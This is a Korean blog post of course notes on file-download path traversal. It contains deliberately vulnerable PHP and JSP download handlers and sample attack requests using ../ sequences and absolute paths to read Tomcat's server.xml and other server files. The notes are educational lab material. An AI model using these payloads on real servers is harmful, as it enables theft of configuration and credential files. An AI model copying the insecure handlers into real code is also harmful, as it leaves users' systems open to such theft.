μƒˆμ†Œμ‹

인기 검색어

πŸ“  Secure

파일 μ—…λ‘œλ“œ 취약점

  • -
λ°˜μ‘ν˜•
파일 λ‹€μš΄λ‘œλ“œ 취약점 μ΄λž€ ?

정상적인 파일 λ‹€μš΄λ‘œλ“œκ°€ μ•„λ‹Œ 비정상적인 νŒŒμΌμ„ λ‹€μš΄λ‘œλ“œν•˜μ—¬ 곡격

 

정상적인 파일 vs λΉ„ 정상적인 파일

[경둜] 차이가 μžˆλ‹€.

정상적인 κ²½λ‘œμ—μ„œ λ‹€μš΄λ‘œλ“œκ°€ μ•„λ‹Œ μ§€μ •λœ 경둜λ₯Ό λ²—μ–΄λ‚˜ μƒμœ„ λ””λ ‰ν„°λ¦¬λ‘œ μ΄λ™ν•˜μ—¬

μ„œλ²„μ˜ λ™μž‘, μ½”λ“œ, μ„€μ • λ“±μ˜ νŒŒμΌμ„ μ‘°νšŒν•˜κ±°λ‚˜ λ‹€μš΄ λ°›λŠ” ν–‰μœ„

 

C:\Users\kitri\Downloads

ν˜„μž¬ 경둜λ₯Ό κΈ°μ€€μœΌλ‘œ Cλ“œλΌμ΄λΈŒμ˜ Users λ””λ ‰ν„°λ¦¬λ‘œ κ°€κ³ μ‹Άλ‹€

cd ../../

cd C:\Users

 

파일 λ‹€μš΄λ‘œλ“œ 취약점을 ν•  λ•Œ 경둜λ₯Ό μ΄λ™ν•˜λŠ” 방법

1. 경둜 이동 문자 μ‚½μž… (../)

2. 경둜 문자 μ‚¬μš© ( μ ˆλŒ€ 경둜 )

 

htdocs ( ν™ˆ 디렉터리 )

- CSS

- JS

-Upload

-Download

 

파일 λ‹€μš΄λ‘œλ“œ κΈ°λŠ₯

download.jsp

downloadAction.jsp

downAction.jsp

 

sadfsdafl.co.kr/download.jsp?file=파일λͺ…

파일λͺ…μ˜ 경우 μ‚¬μš©μž μž…λ ₯값이닀

λŒ€λΆ€λΆ„μ˜ 취약점은 μ‚¬μš©μž μž…λ ₯값을 λ°›λŠ”λ°μ„œ μΆœλ°œν•œλ‹€.

μ™œ? 동적 μ„œλΉ„μŠ€λ₯Ό μ œκ³΅ν•˜κΈ° μœ„ν•΄ μ–΄μ©” 수 없이 μž…λ ₯ 값을 λ°›μ•„μ•Ό ν•œλ‹€

μ›Ή μ‚¬μ΄νŠΈ κΈ°λŠ₯μ—λŠ” λ‹€μš΄λ‘œλ“œ κΈ°λŠ₯이 1개 이상 λ˜μ–΄ 있으며

μ‚¬μš©μž μž…λ ₯값을 λ°›μœΌλ©΄ μ§€μ •λœ κ²½λ‘œμ—μ„œ μ§€μ •λœ νŒŒμΌμ„ μ‚¬μš©μžμ—κ²Œ μ€€λ‹€

 

파일 λ‹€μš΄λ‘œλ“œ κΈ°λŠ₯

λ°˜λ“œμ‹œ ν•„μš”ν•œ μ€€λΉ„λ¬Ό

μ›Ή 디렉터리가 λ°˜λ“œμ‹œ μ‘΄μž¬ν•΄μ•Όν•˜λ©°, 파일 λ‹€μš΄λ‘œλ“œ κΈ°λŠ₯을 ν•˜λŠ” νŽ˜μ΄μ§€ ν•„μš”

μ›Ή λΈŒλΌμš°μ €μ—μ„œ μ§€μ›λ˜λŠ” 파일 νƒ€μž…μ΄ λŠ˜μ–΄λ‚¨μ— 따라 URL μ ‘κ·Ό μ‹œ ν•„μš”

파일 μ—…λ‘œλ“œλ₯Ό ν•˜λ©΄ -> μ—…λ‘œλ“œ 폴더가 아닐 경우 파일 λ‹€μš΄λ‘œλ“œ κΈ°λŠ₯을 μ°Ύμ•„ λ³Ό ν•„μš”κ°€ μžˆλ‹€ 

λ¦¬λˆ…μŠ€κ°€ 파일 λ‹€μš΄λ‘œλ“œ 취약점에 쑰금 더 μ·¨μ•½ν•˜λ‹€

μœˆλ„μš°λŠ” νŒŒν‹°μ…˜μ΄ λ‹€ λ‚˜λ‰˜μ–΄μ Έ μžˆμœΌλ―€λ‘œ λ‹€λ₯Έ λ“œλΌμ΄λΈŒλ‘œ λ³€κ²½ λΆˆκ°€ν•¨

 

파일 λ‹€μš΄λ‘œλ“œ 둜직

../../../λ₯Ό 많이 ν•˜λ©΄ 무쑰건 μ΅œμƒμœ„ 폴더인 C에 λ„λ‹¬ν•˜κ²Œ λ˜λ―€λ‘œ κ·Έ 뒀에 λ‚΄κ°€ μ›ν•˜λŠ” 폴더 쓰면됨

Cλ“œλΌμ΄λΈŒ download_vuln ν΄λ”μ—μ„œ password.txt 파일 읽기

Dλ“œλΌμ΄λΈŒ download_vuln ν΄λ”μ—μ„œ password.txt 파일 읽기

- 직접적인 방식

www.kitri.re.kr/kitri/file/download.web?dir=/uploadfile/&filename=kitri_logo_Ko_En.jpg&siteDib=kitri

 

- 간접적인 방식

데ㅣ터 베이슀λ₯Ό ν™œμš©ν•˜μ—¬ 파일 λ‹€μš΄λ‘œλ“œ

www.kitri.re.kr/dowload.web?idx=1  

# index.php
<?php
    header("Content-type : text/html; charset=UTF-8");
?>
<li>μ²¨λΆ€νŒŒμΌ : <a href="./download.php?filename=test.jpg">[λ‹€μš΄λ‘œλ“œ]</a>
# download.php
<?php
    $filename = $_GET["filename"];
    $filepath = "upload/{$filename}";

    header("Content-Type: application/octet.stream");
    header("Conetnt-Dispositionl: attachement; filename={$filename}");

    readfile($filepath);
?>

λ‹€μš΄λ‘œλ“œ ν•œ 사진 μ˜€ν”ˆ ν•˜λ©΄ λœ¨λŠ” 사진

 

 

Original Filename & Real Filename
<%@ page contentType="text/html; charset=UTF-8" %>
<li>λ‹€μš΄λ‘œλ“œ1 : <a href="download1.jsp?org_filename=test.jpg&real_filename=abcd.jpg">[λ‹€μš΄λ‘œλ“œ1]</a></li>
<li>λ‹€μš΄λ‘œλ“œ2 : <a href="download2.jsp?path=image&org_filename=test.jpg&real_filename=abcd.jpg">[λ‹€μš΄λ‘œλ“œ2]</a></li>
<li>λ‹€μš΄λ‘œλ“œ3 : <a href="download3.jsp?path=C:/apache-tomcat-8.5.81/webapps/ROOT/upload/image/&org_filename=test.jpg&real_filename=abcd.jpg">[λ‹€μš΄λ‘œλ“œ3]</a></li>
# download.php
<?php
    $org_filename = $_GET["org_filename"];
    $real_filename = $_GET["real_filename"];
    $filepath = "upload/{$org_filename}";

    header("Content-Type: application/octet.stream");
    header("Conetnt-Dispositionl: attachment; filename={$real_filename}");

    readfile($filepath);
?>
# jsp original filename , real filename
# original filename = λ‹€μš΄ 받을 λ•Œ λœ¨λŠ” 파일 이름
# real filename = μ›λž˜ 원본 파일 이름

<%@ page contentType="text/html; charset=UTF-8" %>
<li>λ‹€μš΄λ‘œλ“œ1 : <a href="download1.jsp?org_filename=test.jpg&real_filename=abcd.jpg">[λ‹€μš΄λ‘œλ“œ1]</a></li>
<li>λ‹€μš΄λ‘œλ“œ2 : <a href="download2.jsp?path=image&org_filename=test.jpg&real_filename=abcd.jpg">[λ‹€μš΄λ‘œλ“œ2]</a></li>
<li>λ‹€μš΄λ‘œλ“œ3 : <a href="download3.jsp?path=C:\apache-tomcat-8.5.81\webapps\ROOT\upload\image&org_filename=test.jpg&real_filename=abcd.jpg">[λ‹€μš΄λ‘œλ“œ3]</a></li>

 

# original filename과 real filename으둜
# download1.jsp
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.util.*, java.io.*"%>
<%
    FileInputStream fis = null;			// byte ν˜•νƒœλ‘œ 파일 볡사(input) & λΆ™μ—¬λ„£κΈ°(output)
    BufferedInputStream bis = null;		// buffer에 μ €μž₯μ‹œμΌœμ„œ 1 byte μ”© μ‚¬μš© κ°€μ Έμ˜€κΈ°
    BufferedOutputStream bos = null;	// buffer에 μ €μž₯μ‹œμΌœμ„œ 1 byte μ”© μ‚¬μš© 보내기
    
    String path ="C:\\apache-tomcat-8.5.81\\webapps\\ROOT\\upload\\image\\";
    String org_filename = request.getParameter("org_filename");
    String real_filename = request.getParameter("real_filename");
    if(org_filename == null || real_filename == null){
        out.println("<script>alert('파일λͺ…이 μž…λ ₯λ˜μ§€ μ•Šμ•˜μŠ΅λ‹ˆλ‹€.');histroy.back(-1);</script>");
        return;
    }

    try{
        File fd = new File(path + real_filename);	// real_filenameκ³Ό μ£Όμ†Œλ₯Ό fd에 μ €μž₯
        if(!fd.exists()){
            out.println("<script>alert('파일이 μ‘΄μž¬ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.');history.back(-1);</script>");
        }
        response.setHeader("Content-Type", "application/octect-stream");
        response.setHeader("Content-Disposition", "attachment; filename=" + org_filename);

        fis = new FileInputStream(fd);
        bis = new BufferedInputStream(fis);
        bos = new BufferedOutputStream(response.getOutputStream());

        byte[] buffer = new byte[1024];
        int i = 0;

        while((i=(bis.read(buffer))) != -1){	// bufferκ°€ ν…… λΉŒλ•ŒκΉŒμ§€ 반볡
            bos.write(buffer,0,i);
        }
        bos.flush();

    }finally{
        if(fis != null) fis.close();
        if(bis != null) bis.close();
        if(bos != null) bos.close();
    }
%>
# file pathκ°€ μΌλΆ€λ§Œ λ…ΈμΆœ
# download2.jsp
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.util.*, java.io.*"%>
<%
    FileInputStream fis = null;
    BufferedInputStream bis = null;
    BufferedOutputStream bos = null;

    String path_temp = request.getParameter("path");
    String org_filename = request.getParameter("org_filename");
    String real_filename = request.getParameter("real_filename");
    String path ="C:\\apache-tomcat-8.5.81\\webapps\\ROOT\\upload\\" + path_temp + "\\";

    if(org_filename == null || real_filename == null){
        out.println("<script>alert('파일λͺ…이 μž…λ ₯λ˜μ§€ μ•Šμ•˜μŠ΅λ‹ˆλ‹€.');histroy.back(-1);</script>");
        return;
    }

    try{
        File fd = new File(path + real_filename);
        if(!fd.exists()){
            out.println("<script>alert('파일이 μ‘΄μž¬ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.');history.back(-1);</script>");
        }
        response.setHeader("Content-Type", "application/octect-stream");
        response.setHeader("Content-Disposition", "attachment; filename=" + org_filename);

        fis = new FileInputStream(fd);
        bis = new BufferedInputStream(fis);
        bos = new BufferedOutputStream(response.getOutputStream());

        byte[] buffer = new byte[1024];
        int i = 0;

        while((i=(bis.read(buffer))) != -1){
            bos.write(buffer,0,i);
        }
        bos.flush();

    }finally{
        if(fis != null) fis.close();
        if(bis != null) bis.close();
        if(bos != null) bos.close();
    }
%>
# λͺ¨λ“  file pathκ°€ λ…ΈμΆœ
# download3.jsp
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.util.*, java.io.*"%>
<%
    FileInputStream fis = null;
    BufferedInputStream bis = null;
    BufferedOutputStream bos = null;

    String path = request.getParameter("path");
    String org_filename = request.getParameter("org_filename");
    String real_filename = request.getParameter("real_filename");

    if(org_filename == null || real_filename == null){
        out.println("<script>alert('파일λͺ…이 μž…λ ₯λ˜μ§€ μ•Šμ•˜μŠ΅λ‹ˆλ‹€.');histroy.back(-1);</script>");
        return;
    }

    try{
        File fd = new File(path + real_filename);
        if(!fd.exists()){
            out.println("<script>alert('파일이 μ‘΄μž¬ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.');history.back(-1);</script>");
        }
        response.setHeader("Content-Type", "application/octect-stream");
        response.setHeader("Content-Disposition", "attachment; filename=" + org_filename);

        fis = new FileInputStream(fd);
        bis = new BufferedInputStream(fis);
        bos = new BufferedOutputStream(response.getOutputStream());

        byte[] buffer = new byte[1024];
        int i = 0;

        while((i=(bis.read(buffer))) != -1){
            bos.write(buffer,0,i);
        }
        bos.flush();

    }finally{
        if(fis != null) fis.close();
        if(bis != null) bis.close();
        if(bos != null) bos.close();
    }
%>

1. 파일 μ΄λ¦„λ§Œ λ…ΈμΆœ 2. 파일 경둜 일뢀 λ…ΈμΆœ 3. 파일 경둜 λ…ΈμΆœ
burpμ—μ„œ path와 real_filename 변경을 톡해 notepad.exe 파일 νƒˆμ·¨
νƒˆμ·¨ 성곡

Original Filename : λ‚΄κ°€ λ‹€μš΄ λ°›κ±°λ‚˜ μ—…λ‘œλ“œ ν•  λ•Œ 파일 이름

Real Filename : μ›Ή μ„œλ²„μ— μ €μž₯λ˜μ–΄ μžˆλŠ” 파일 이름

 

곡격 방법

CASE 1 μ‚¬μš©μžλ‘œ μž…λ ₯λ°›λŠ”κ²ƒμ΄ 파일λͺ…λ§Œ μ‘΄μž¬ν•  λ•Œ

정상 μš”μ²­ : /download1.jsp?filename=abcd.jpg

곡격 μš”μ²­ : /download1.jsp?filename=../../../../conf/server.xml

 

CASE 2 μ‚¬μš©μžλ‘œ μž…λ ₯ λ°›λŠ” 것이 일뢀 κ²½λ‘œμ™€ 파일λͺ…λ§Œ μ‘΄μž¬ν•  λ•Œ

정상 μš”μ²­ : /download2.jsp?path=image&filename=abcd.jpg

곡격 μš”μ²­1 : /download2.jsp?path=../../../conf&filename=server.xml

곡격 μš”μ²­2 : /download2.jsp?path=../../../conf/server.xml&filename=

곡격 μš”μ²­3 : /download2.jsp?path=image&filename=../../../../conf/server.xml

 

CASE 3 μ‚¬μš©μžλ‘œ μž…λ ₯λ°›λŠ” 것이 μ ˆλŒ€ 경둜일 λ•Œ

정상 μš”μ²­ : /download3.jsp?path=C:/apache-tomcat-8.5.81/webapps/ROOT/upload/image/&org_filename=test.jpg&real_filename=abcd.jpg

곡격 μš”μ²­1 : /download3.jsp?path=C:/apache-tomcat-8.5.81/conf/&org_filename=test.xml&real_filename=server.xml

linux

cd /etc/networks (o)

cd \etc\networks (x)

 

windows

cd C:\windows\system32 (o)

cd C:/windows/system32 (o)

λ°˜μ‘ν˜•
Contents

ν¬μŠ€νŒ… μ£Όμ†Œλ₯Ό λ³΅μ‚¬ν–ˆμŠ΅λ‹ˆλ‹€

이 글이 도움이 λ˜μ—ˆλ‹€λ©΄ 곡감 λΆ€νƒλ“œλ¦½λ‹ˆλ‹€.